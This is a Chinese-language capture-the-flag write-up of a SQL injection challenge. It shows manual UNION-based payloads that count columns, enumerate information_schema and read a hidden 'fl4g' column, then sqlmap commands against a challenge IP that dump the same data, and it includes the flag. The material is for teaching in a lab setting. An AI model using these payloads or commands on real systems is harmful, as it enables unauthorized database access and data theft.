目录标题
- 手工注入
- information_schema.columns 学习
- sqlmap工具注入：
打开题目地址：
只有一个搜索框，下面是几条消息，上面输入关键词可以搜索这几条消息，可能就是存在SQL注入漏洞：
在后面加入’ or '1 = 1恒成立的判定条件：
a ' or '1 = 1
搜索结果变成了所有的消息，应该就是存在SQL注入
手工注入
之后我们在后面拼接order by，来查看表中有多少列，查询结果按照前1列排序（第一个’闭合后台命令的第一个’，#注释掉后台的第二个’）：
' order by 1 #
成功返回了结果，证明表中有至少1列数据
查询结果按照前2列排序：
' order by 2 #
依旧成功返回了结果，证明表中至少有2列数据
查询结果按照前3列排序：
' order by 3 #
依旧成功返回了结果，证明表中至少有3列数据
查询结果按照前4列排序：
' order by 4 #
没有返回结果了，说明该表中只有3列数据，当你按照前4列排序时就出现异常从而查询不到结果。
接下来我们用union操作符来合并两个或多个select语句的结果集，union操作符选取不同的值，如果允许重复的值，请使用union all。
所以我们在上面的链接后面拼接union all select 1,2,3 #。select 1,2,3是指返回一个1,2,3的数组（所以这里的1,2,3只是为了区分不同的列的数字，也可以改成156，456，111，741这种没有意义的数字），select 1,2,3就是把email表中的3列数据全部返回，然后用全部用1,2,3代替。
' union all select 1,2,3 #
这样前7个结果就是第一个select 中符合’’返回所有消息的查询结果，后面的结果2和3都是第二个查询all select 1,2,3查询到的值，上面只显示了2和3，说明只有第2列和第三列的值在前端显示了，1在查询时替换了但是这个页面中并没有显示。
那我们接下来就要利用第二列和第三列读取数据，可以使用SQL中自带的函数user()、database()之类的：
' union all select 1,user(),database() #
' union all select * from news #
news数据库中的数据就是这些消息。
之后读取information_schema元数据，
先读取information_schema中的数据库名：
' and 0 union select 1,2,table_schema from information_schema.tables#
只有两个数据库：information_schema和news
之后读取information_schema数据库中的表名：
' and 0 union select 1,2,table_name from information_schema.tables #
也可以同时查看数据库及其表名：
' and 0 union select 1,table_schema,table_name from information_schema.tables #
其中news数据库两个表news、secret_table比较特别
之后显示表news、secret_table中的列名和数据类型：
news表：
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#
有三个字段：id、title、content
secret_table表：
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#
有三个字段：id、fl4g
其中fl4g字段就比较特别，查看它的值：
' and 0 union select 1,id,fl4g from secret_table #
得到flag：QCTF{sq1_inJec7ion_ezzz}
information_schema.columns 学习
每一个表中的每一列都会在information_schema.columns表中对应一行
1、informaiton_schema.columns 常用列：
1、table_catalog ：不管是table | view 这个列的值总是def
2、table_schema ：表 | 视图所在的数据库名
3、table_name ：表名 | 视图名
4、column_name ：列名
5、column_default ：列的默认值
6、is_nullable ：是否可以取空值
7、data_type ：列的数据类型
8、character_maximum_length ：列的最大长度（这列只有在数据类型为char | varchar 时才有意义）
9、column_type ：列类型这个类型比data_type列所指定的更加详细，如data_type 是int 而column_type 就有可以能是int(11)
10、column_key ：列上的索引类型 主键–>PRI | 唯一索引 -->UNI 一般索引 -->MUL
2、例子
查看tempdb 库中的列信息
select
table_schema,table_name,column_name,column_type,column_default,is_nullable,column_key
from
information_schema.columns
where table_schema='tempdb';
+--------------+------------+-------------+-------------+----------------+-------------+------------+
| table_schema | table_name | column_name | column_type | column_default | is_nullable | column_key |
+--------------+------------+-------------+-------------+----------------+-------------+------------+
| tempdb | t | x | int(11) | NULL | NO | PRI |
| tempdb | t | y | varchar(32) | hello world... | NO | MUL |
| tempdb | t2 | id | int(11) | NULL | NO | PRI |
| tempdb | t2 | age | int(11) | 0 | NO | PRI |
| tempdb | t2 | name | varchar(10) | NULL | YES | |
| tempdb | v_t | x | int(11) | 0 | NO | |
| tempdb | v_t | y | varchar(32) | hello world... | NO | |
+--------------+------------+-------------+-------------+----------------+-------------+------------+
每一个表中的每一列都会在information_schema.columns表中对应一行
sqlmap工具注入：
先测试search参数是否存在注入点：
sqlmap -u http://111.200.241.244:59139/ --data "search=df"
经过探测search参数存在注入点，服务器操作系统是Linux Debian 9 (stretch)，Web服务器是Apache 2.4.25，数据库是MySQL >= 5.0.12
之后爆破数据库：
sqlmap -u http://111.200.241.244:59139/ --data "search=df" -dbs
有两个数据库：information_schema和news
之后爆破news数据库中的表：
sqlmap -u http://111.200.241.244:59139/ --data "search=df" -D news --tables
news数据库中有两个表：news和secret_table
获取secret_table表的字段信息：
sqlmap -u http://111.200.241.244:59139/ --data "search=df" -D news -T secret_table --columns
secret_table表的有两个字段：fl4g和id
最后查看fl4g字段的值：
sqlmap -u http://111.200.241.244:59139/ --data "search=df" -D news -T secret_table -C "fl4g"
得到flag：QCTF{sq1_inJec7ion_ezzz}